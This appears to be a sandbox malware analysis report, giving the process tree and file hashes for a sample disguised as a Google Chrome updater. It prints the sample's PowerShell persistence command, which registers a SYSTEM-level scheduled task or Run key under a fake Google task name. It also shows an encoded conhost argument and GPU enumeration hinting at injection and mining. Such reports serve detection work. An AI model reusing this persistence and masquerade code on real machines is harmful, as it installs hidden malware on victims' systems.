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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3180
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵PID:1428
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1376
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:4504
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C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 31⤵PID:1500
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4856 -
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:2132
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
PID:1960
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
- Path C:\Program Files\Google\Chrome\updater.exe
- Size 520KB
- SHA256 ef6c494ea8bc4f12025695776a3ea7280322a8d21f55ea994f4336cc8830fa01
- MD5 f394257cb120fc83a3ea15771e3eeb2c
- SHA1 769e03b33bcb288caf1307fff3ffd7eb9bfde509
- SHA512 c129f7ef9c51ff1da65f33248db4afee990355906246a5e6d82471f87fb2faaf927c182c0da92050e847af2fad98f974ba6ae60bd4e087ef7db52f1ad5341b84
- SSDEEP 12288:rWVi46hyqG2ckwLxgajd0mAVwb5T3dn88hzNTkuIdZVbc+un:rWVipGdVZjdqVC5jd88FC3bc+un
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Program Files\Google\Chrome\updater.exe
- Size 259KB
- SHA256 e63befdaf7bfc51a1c7fab091d9e1f175c7ba205297ed16577521f246a3016c2
- MD5 01036cfba5fce2acac9c73b73a4901eb
- SHA1 6a3ec451bb25d83f1e881d1a0236aefee3fd5363
- SHA512 9f221a765d2df88be1b618d5f683ecb9bdef779d9200208c437849ba6478952e2551da5c244f144ef4ecde732f318b2c68daedfa755d320699623405acda21f8
- SSDEEP 6144:L3zjTg6uUuViDX5Q6k6hyqsD238zkU0yLbRfgajd0m8keLx73kb5Tj:rWVi46hyqG2ckwLxgajd0mAVwb5Tj
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Program Files\Google\Libs\g.log
- Size 226B
- SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
- MD5 fdba80d4081c28c65e32fff246dc46cb
- SHA1 74f809dedd1fc46a3a63ac9904c80f0b817b3686
- SHA512 b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
- MD5 d85ba6ff808d9e5444a4b369f5bc2730
- SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
- SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 944B
- SHA256 21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45
- MD5 d28a889fd956d5cb3accfbaf1143eb6f
- SHA1 157ba54b365341f8ff06707d996b3635da8446f7
- SHA512 0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 e7dd1c36bf4ce1eb9b66099d09f53cbe25f8423411ad5034352c959dee92b675
- MD5 4093fb80d2bbbb5dfbaf02a85dfb3484
- SHA1 3cb8999f1d964d84ea01b306d139d48530b712f0
- SHA512 20675bea7b82b09f3391d9c05a24c374cadff364bf53ac10cd3fb2cf5562a05d09dbe2eb5a205b1e3e17b317fbbafe3d6110eb798c93c1a4aae06a86c41c2b62
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_w0ixzbrd.lem.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 4KB
- SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
- MD5 bdb25c22d14ec917e30faf353826c5de
- SHA1 6c2feb9cea9237bc28842ebf2fea68b3bd7ad190
- SHA512 b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
- SSDEEP 96:iq3NYqGeHo9xrLSdx4qKkq3qktznENYrhGaq66iNLm0RIzoZcBPQhDAyRLcxZpoG:iqdYqGAjdx4qKkq3qktznEuZq6FIzoI
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
- MD5 b42c70c1dbf0d1d477ec86902db9e986
- SHA1 1d1c0a670748b3d10bee8272e5d67a4fabefd31f
- SHA512 57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5
- MD5 SHA1 SHA512